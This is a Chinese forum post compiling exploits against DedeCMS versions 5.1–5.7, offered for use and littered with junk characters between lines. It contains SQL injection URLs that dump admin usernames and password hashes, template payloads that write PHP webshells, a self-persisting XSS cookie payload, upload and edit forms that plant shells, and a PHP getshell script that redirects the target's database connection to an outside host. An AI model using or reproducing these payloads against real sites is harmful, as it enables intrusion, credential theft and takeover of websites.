dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

5 [: u- g2 _; U; n
! ]1 z  A+ s+ m+ i! l! l


" `2 E1 C, P7 z2 \6 s  Q


DedeCms v5.6 嵌入恶意代码执行漏洞
; k' C4 r- G5 n3 z注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。

% S3 Y$ K4 k' m
5 u! h# R, }% s: s1 M1 g& _
" l8 p5 ?) [9 q8 V
. }& u" g2 l: S6 |/ o

# U" j/ \$ F" ^  y9 p" J

Dede 5.6 GBK SQL注入漏洞
: \' v$ a2 t# F3 a3 _, v% a2 B# chttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

. g% x! Z& T: x- |/ ^



$ R! L: m- R" x" M

( t4 X5 ?- J+ S( p5 M
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
- S' z& N8 C% [- I- z1 lhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
! E: [5 m7 }6 b


9 m: r- q% E3 _1 |

  t# w0 z6 w- j! c2 j
1 k8 V& [/ t/ H7 n$ T% K" RDEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
  j; B6 b. H; i: z1 x2 ?0 bhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
( M  @! z! a3 T$ C7 g. W

0 W: r# M- |7 X2 O  M/ a) ?2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
% ]5 j2 F9 }5 l( z; h+ _8 L

* Q- S! [/ u" j  whttp://v57.demo.dedecms.com/dede/login.php
8 ~$ j. d1 S0 h1 D5 B! Y. q
; W' D% V, F3 A5 Q. z
color=Red]DeDeCMS(织梦)变量覆盖getshell
8 T0 I) c! q, I! n#!usr/bin/php -w
- D' H- z" ]+ V0 Y" }2 h8 C/ u<?php
error_reporting(E_ERROR);
" I' S3 R* J+ O8 K# U- Oset_time_limit(0);
print_r('
' f8 P/ q% p4 O" x3 {DEDEcms Variable Coverage
& H/ n: K9 u& ?9 dExploit Author: www.heixiaozi.comwww.webvul.com
4 i. W0 p4 l, B0 Y" z" V# W);
, I3 b! _  n1 q- kecho "\r\n";
if($argv[2]==null){
; ~) X3 w" ]- M. ^  R- O$ t  M2 Xprint_r('
% D4 U) P; U& i6 o/ t+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
1 Z3 Q: a2 ?# {aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
6 w( V$ v% ?7 t  V4 A  C* K');
exit;
) v/ C8 d8 k, k: u# s8 C}
  N, t+ |6 Z+ u0 |) G$url=$argv[1];
& A5 p, {% j7 c0 f- \0 Y. H$aid=$argv[2];
$path=$argv[3];
" ~8 B; f  \& ]  U& d7 h( u$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
! P/ Y4 R4 E9 q' y" jExploit Success \n";
1 P$ k& x0 m* |, D) _if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
* h, [. R) \( q  T

if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;

# K2 B4 C. @  K; Y
$ K, |. @0 w, S# q* x2 B! yif($aid==3)echo "
8 u# p# s- D& ]3 n: KShell:".$url."/$path/plus/fuck.php\n";
) F0 D5 {' c7 _2 y& U

! B& m# ^" w( _" ~) e' t+ x}else{
! Q$ ?& y- y* [2 F+ \: X( _echo "
( W4 w- |: j6 T! I7 N: D7 [! NExploit Failed \n";
}
: F6 x6 ^" U# m# ?! y0 Qfunction Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
- L& j& v' i) N0 Q6 t$port="80";
5 b! u0 Q, s) r7 I$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
4 |, b/ J! r0 ]7 _8 \$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
* p4 P: j& U! z/ o1 R% b- i8 Z* u2 ?$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
% r0 ]* P1 y& u) O$ e; H! k$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
" y. g% x- i$ Z$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
" ~% K8 i. }5 q0 H$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
" I8 J$ [) o9 {$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
* G8 O* O& g" D/ t% s6 h7 f$ock=fsockopen($host,$port);
, H- e/ h7 S. [9 F0 I+ cif (!$ock) {
echo "
4 r) u. L+ U0 S2 A( eNo response from ".$host."\n";
5 r$ Y; w5 L) b* w. k9 ?# M}
- p3 Z; Z" b( p" @3 `8 ?fwrite($ock,$data);
" q2 O& r% N* e2 P; R4 Zwhile (!feof($ock)) {
$ i. h6 o( d2 [& b2 b$exp=fgets($ock, 1024);
return $exp;
}
. G0 R: y$ b2 n7 q, V7 Y}
: p! L# r/ s% u5 P( z/ R. y' P
0 m1 I9 g/ v, a9 L+ q; ?
/ k/ [5 p# a* q& z6 q5 j& x2 ]8 E?>
! f& L( V+ [* f

. t3 f$ R  Y& h- g" z( k3 I
( S% G- R4 O# _! a- t; R4 Y
' c; V) G/ }% G& I

. d6 |; \8 N" C0 Q



% H* A6 v5 ]% Z% h, ODedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
, \. h8 h" h9 ihttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

" H* C1 P( `% e3 z& r0 P4 f
# s- h$ s; h' ~把上面validate=dcug改为当前的验证码，即可直接进入网站后台
+ k; c9 u, }/ n# r

此漏洞的前提是必须得到后台路径才能实现
; f/ e9 p+ w# Z6 y$ u2 L


9 G# Z  c+ w, o
' |. u5 b( L2 F( X  U* V


% ~6 @, s: E) ]! v  X* A+ e6 ~
& ?2 v9 {; g& ^2 b7 b( Z4 [
# h+ n0 L8 D# v0 ]
# P. A% Q& k) M* b  ~0 DDedecms织梦 标签远程文件写入漏洞
/ \5 }6 p. P% z前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

  j0 l6 N& k" K3 u
. w$ r9 ]3 t. z再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
- F7 h- Q( m( K<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
" }  X& w5 B+ S: q. Z  W, x<input type="text" value="true" name="nocache" style="width:400">
. y4 }; o2 |1 R9 T* _<input type="submit" value="提交" name="QuickSearchBtn"><br />
/ i$ U+ ]8 b  j$ q</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
/ Z9 t. ]$ q9 U- t4 {& _</script>
3 r  \+ O2 u, l( ]# U% N
2 l% h1 G5 R5 ~; }4 ~4 }
$ S7 i( i3 \) U
% `2 X# |- s+ H  L, r1 q& o7 E% Z  |
8 ?. F, k. O, Q' |" ?- ~
% S$ s9 }) x) |0 V5 \3 R7 H
; {- S1 F6 R) y8 [
- r/ Q' L7 W" ]- a- M/ S
- b: ^0 m0 y3 d! k) `- s" p

DedeCms v5.6 嵌入恶意代码执行漏洞
" P* m+ i" E, i" l- I! ^注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
) j: e9 W0 U' q9 t; DDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg

3 V5 c  w% x5 g/ b; {
模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
. Z) f, @- t6 P2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
+ g# ?" z/ ]% z' |3 z2 @+ \3 B<input type="hidden" name="aid" value="2" />
- S7 @. B* L9 ^& X2 g<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
7 d: W" e& U! w) {4 j

. v! |0 s5 T6 n2 f% w. ~# f; |<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
# i( o. @- R* ^4 q6 N7 {
8 f5 V; S# Z5 e) [+ p6 F( P- p
5 ?9 H9 B6 \" l* ~* \- p' S<div class="postForm">
. i  O. ]! A& n$ @: ~  n<label>标题：</label>
. _: s5 N4 U( }* ]; Z+ i1 {<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
+ T6 A: N( J# q2 m3 A4 t! q# P
" x3 d$ |, V$ E
<label>标签TAG：</label>
' c) ^+ t) u4 o8 J6 x- h<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)


  l( `5 i# b1 @; P<label>作者：</label>
+ R7 G" o% l  |<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
. z: ^3 r6 r/ e+ q
) v- x) f! N8 `; M9 g" }+ ~& h
4 N' ?# d5 m  z# U2 S7 Q" u<label>隶属栏目：</label>
7 H4 c2 A# r, f/ s1 z<select name='typeid' size='1'>
  Y- `5 l6 {& i2 J<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
& z8 B  q1 M$ E# C
7 L& c) `! k1 P) U7 o) V6 s
<label>我的分类：</label>
<select name='mtypesid' size='1'>
6 q4 G$ F( [* j  z<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>


<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
) o+ P5 k  N, f% ]( z9 r( @(内容的简要说明)

- w" `; `/ A6 [& `8 m' f; {
<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

9 h. Y! D: j2 D. N1 M) ~
<input type='text' name='templet'
5 i) \7 O3 J6 [value="../ uploads/userup/2/12OMX04-15A.jpg">
2 _2 r' W3 R) E4 g3 \+ |<input type='text' name='dede_addonfields'
, O4 A( o3 t0 b6 v9 kvalue="templet,htmltext;">（这里构造）
( k0 x1 U0 y9 D3 W. Z  _</div>

% X( O. m& l' e$ t8 M( k
<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
; Y4 j8 c& d+ @+ J, n

, L4 W) R- H8 l- {4 U8 q, d<div class="contentShow postForm">
0 G7 H: a' q4 n* U7 t9 _. g<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
/ F  {2 z" s" |  O  H1 |& h
4 Z& ^4 A# E6 V. N- g, `6 Z
<label>验证码：</label>
. N" [' G$ }, D* e- z& x<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
8 O3 z8 t* u7 `7 m<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
- b% T3 g9 R% a0 m
/ F; X; p# I  G
( w9 H! N) {5 O1 {! H' E<button class="button2" type="submit">提交</button>
8 V1 u3 R( s' I% w7 z<button class="button2 ml10" type="reset">重置</button>
</div>
  I/ U2 v. a9 h. e
0 o$ ?- z, Y3 s- [6 L7 ]/ I$ Q6 @
</div>


4 h. ~, L- ^# U</form>

# f" A5 e5 ?3 _; T2 p
提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
% S% H* c1 w+ J! Y1 `3 A即可以在plus目录下生成webshell：1.php
% s8 y  l  @. S4 t
+ Y# R" Q5 K/ R6 s

' f% g" @2 X* m2 d$ t3 P! p


' ^7 K  I7 _: r' t! x) ^$ p2 q
. T' g+ K3 _, g* s; H
4 W$ j8 L$ R# l9 Z2 a) }
. r+ i: u" B; c6 O  H2 @% L


DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
* x' b: ]) U) h/ a. |+ oGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
) d) L3 e0 j. e4 m9 T4 y<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
) V1 D: @5 r! L6 X+ l' H& P: z<button class="button2" type="submit" >更改</button>
</form>


7 c+ o# z; W/ z. w; |构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：


<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
5 P4 E" J; h! s<input type="hidden" name="dopost" value="save" />
& x% D( X, H2 N1 d' ?% [) A<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
; A; S+ G3 y( O& F3 ~0 H<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
* V# f4 g# d: k2 g$ J+ n<input type="hidden" name="sortrank" value="1282049150" />
& o) ^  j; ~/ z+ m2 E) S<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
! I7 K7 a. \. [* n. W<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
- ?& I+ L! U6 ^1 X0 o: Q<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
: u; z# G* X% |8 Q<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
  W2 l# f5 W' k, w; i+ C" g  ?+ {<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
3 q. P1 p4 S5 M/ \</form>


  _0 h: O" ]$ K# H
" [5 Z1 P! ~7 @  I: n


- v! f, n& `+ Y8 A
# C5 T2 w( A# E) Z, Y


& W( v6 h9 M1 c( P6 t
* n0 {6 ?8 ~9 V: O! x' \  R
6 ~2 z& i4 ^3 D, s织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
% D0 m* l% H6 f



# c. ?# b( m/ X' r* V% H: i7 J2 w
- w/ M$ N5 W2 S( q( N* h8 x- x3 I



2 |7 n- Y$ ^$ D$ T! }% F* H: T
3 Z8 ~5 U9 J. F# G& G! I8 p( x织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
/ i4 }% B( K. X, O- h. h! bhttp://www.test.com/plus/carbuya ... urn&code=../../
! {! D) }! y3 c5 `6 b8 f$ D


6 D7 b% v: v, D8 X8 n
8 z+ R4 p7 @- f2 g% T& t

' L( \# u% [  j$ [- x! o
# J5 E) y- [) n/ j* K8 r7 W
3 W$ B# c/ a' }
. ^! ]% R) }" |' S( a! A
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5


' X( i# D9 D7 t* P4 ~
- q& `7 Z, g9 w/ X& [
+ V  c) ]# o, l$ l. Z



: p! T8 V3 c6 k' L" O

织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
* l) l; n* q* f" B


. R; A/ e, [+ ?4 m2 J( Q( M
- j' t# e# b8 [# @

$ y0 y$ l; G: |9 U) x3 U

1 M2 E: @! E- Z5 p4 c: Q. Q; C2 B/ Z

织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
) U/ P3 @: d9 i0 z$ u<body style="FONT-SIZE: 9pt">
3 |: f- a2 B: R---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
4 P3 m: A0 @, k<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
- `2 ^& ?* r  ]: F<input type='hidden' name='cfg_not_allowall' value='txt' />
" h8 i+ t' T3 H<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
  `# p* F7 c( U0 d/ x- C2 s# ^<input type='hidden' name='f' value='form1.enclosure' />
3 @+ F: V, ]1 R$ M. O  }<input type='hidden' name='job' value='upload' />
- Q/ Y7 l( t" v- x' [- b: A! s. C<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
( r4 Z' P9 W4 K: n; P7 h<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
- B1 Z0 p0 y0 T2 y0 Z- ]  p+ `+ P  rFun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>

4 \% B/ ]' P. K5 ~9 I
" g# B' k# A, k2 q
& ^+ e8 Q. q# Y4 J% E

0 c* A) j# ~% W: T+ y
3 u6 O4 w+ A4 ^6 Z

5 u( ~, t# V. q
* ]/ y& }# L* b) E& f" x. q
8 s  k. h" ?5 [4 A7 `2 a织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
( X/ v& I) w+ ~2 c  W利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
! a! C& Y' m* j1 F1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
6 P5 N5 V* p! ^/ ~& C
; Y) V+ l+ o# ?1 f) i2 s5 z
- ~: \. ^2 L' }2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
% E3 H& F$ x: s! A' V2 y* n

4 ^& m" z4 Q% Q: L( j4 c' C3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
, ~: D" ?# J  k9 l/ M

8 i! V  d8 r6 e' {' }<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>


按确定后的看到第2步骤的信息表示文件木马上传成功.

+ `5 @4 N0 M. G9 T0 @* C/ {







0 ^! f) u9 Z0 z, `$ O; c

" s5 p/ ^+ ^- Q9 ~5 B; ]$ o
; g, W" q& K$ [( o; s, P织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*